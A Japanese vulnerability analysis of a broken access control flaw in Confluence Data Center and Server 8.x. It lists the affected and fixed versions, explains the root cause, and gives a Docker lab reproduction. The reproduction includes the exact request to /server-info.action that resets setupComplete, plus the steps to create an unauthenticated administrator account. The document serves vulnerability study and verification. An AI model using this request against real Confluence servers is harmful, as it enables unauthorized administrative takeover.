脆弱性概要
Confluence Data Center および Confluence Server におけるアクセス制御破損の脆弱性
悪用された場合、リモートの攻撃者から未認証の管理者アカウントを作成され、Confluence インスタンスにアクセスされる可能性がある
影響を受けるバージョン
Confluence Data Center および Confluence Server
- 8.0.0 〜 8.0.4
- 8.1.0 〜 8.1.4
- 8.2.0 〜 8.2.3
- 8.3.0 〜 8.3.2
- 8.4.0 〜 8.4.2
- 8.5.0 〜 8.5.1
8.0.0 より前のバージョンはこの脆弱性の影響を受けない
修正バージョン
Confluence Data Center および Confluence Server
- 8.3.3
- 8.4.3
- 8.5.2
PoC
脆弱性の詳細
ユーザは Confluence の初期デプロイ時、/set にアクセスして管理者アカウントを作成するセットアッププロセスを実行する。
プロセス実行完了後のアクセスは、セットアップ完了メッセージの表示画面またはログイン画面などにリダイレクトされる。
アクセス制御破損の脆弱性により、/server-info.action を介して、セットアップ状態を未完了に設定し、管理者アカウントを作成するセットアッププロセスを再度実行される可能性がある。
ServerInfoAction クラスは ConfluenceActionSupport クラスを継承しているため、そのクラスのメソッドにアクセスできる。ConfluenceActionSupport クラスの BootstrapStatusProvider メソッドは、セットアップ状態を設定する setupComplete パラメータを構成している ApplicationConfiguration オブジェクトにアクセスできる。
攻撃者はこの脆弱性を悪用して
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスすることでセットアップ状態を未完了に変更し、認証なしで管理者アカウントを作成することができる。
検証環境
- Confluence Server 8.3.2
- PostgreSQL 15.5
環境構築
Docker イメージから Confluence Server を起動(検証用のネットワーク vrfy を指定)
docker run --name "confluence-server-8.3.2" -d -p 8090:8090 -p 8091:8091 --network "vrfy" atlassian/confluence-server:8.3.2
Docker イメージから PostgreSQL を起動(検証用のネットワーク vrfy を指定)
docker run --name "postgres-15.5" -d -e POSTGRES_PASSWORD=password -p 5432:5432 --network "vrfy" postgres:15.5
PostgreSQL に接続してユーザ、データベースを作成
docker exec -it postgres-15.5 psql -U postgres
psql (15.5 (Debian 15.5-1.pgdg120+1))
Type "help" for help.
postgres=#
postgres=# CREATE USER test_user WITH PASSWORD 'test_pass';
CREATE ROLE
postgres=# CREATE DATABASE test_db1 OWNER test_user;
CREATE DATABASE
ブラウザから http://localhost:8090 にアクセスして Confluence をセットアップ
脆弱性検証
http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスしてセットアップ状態を未完了に変更
http://localhost:8090/setup/setupadministrator-start.action にアクセスして管理者アカウント情報を入力
作成した管理者アカウントで Confluence インスタンスにアクセス
脆弱性修正バージョンでは http://localhost:8090/login.action?os_destination=%2Fserver-info.action&permissionViolation=true にリダイレクトされる
参考